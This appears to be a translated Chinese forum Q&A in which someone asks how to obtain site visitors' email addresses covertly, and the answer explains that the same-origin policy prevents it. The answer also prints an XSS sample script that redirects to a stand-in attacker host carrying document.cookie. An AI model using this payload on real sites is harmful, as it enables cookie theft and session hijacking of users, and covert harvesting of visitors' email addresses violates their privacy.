用于在没有弹出窗口的情况下获取访问者电子邮件ID的脚本

Question

访问者访问网站后需要获取访问者的电子邮件ID。

没有显示任何用于订阅或新闻通讯的弹出窗口。

如果访问者的电子邮件ID已经登录到任何社交网站/邮件帐户，我们是否可以跟踪访问者的电子邮件ID？

有一些网站在做这些事情。

Answer 1

简而言之，除非已经知道用户电子邮件ID的网站希望公开共享，否则您将无法这样做。

根据同源策略，Web浏览器允许第一个网页中包含的脚本访问第二个网页中的数据，但前提是两个网页具有相同的来源。 [Wikipedia - Same-origin Policy]

借助withCredentials，可以在跨域请求中支持cookie。即使这样也不能直接访问您的代码。 withCredentials指示是否应使用cookie，授权标头或TLS客户端证书之类的凭据发出跨站点Access-Control请求。设置withCredentials对相同站点的请求无效。 [Mozilla Dev]

您可以通过注入用于跨站点脚本（XSS）的JavaScript代码来访问同源Cookie。 XSS是攻击者对网站进行的注入攻击，当用户加载该网站时，代码将在客户端执行。 XSS在Cookie劫持，网络钓鱼甚至是密钥记录方面非常流行。

攻击示例：

<script>
    window.location='http://attacker/?cookie='+document.cookie
</script>

但是，即使那样，在加载该域名时（而不是在加载域名时），也会为您提供该域的Cookie。

此答案仅用于学习目的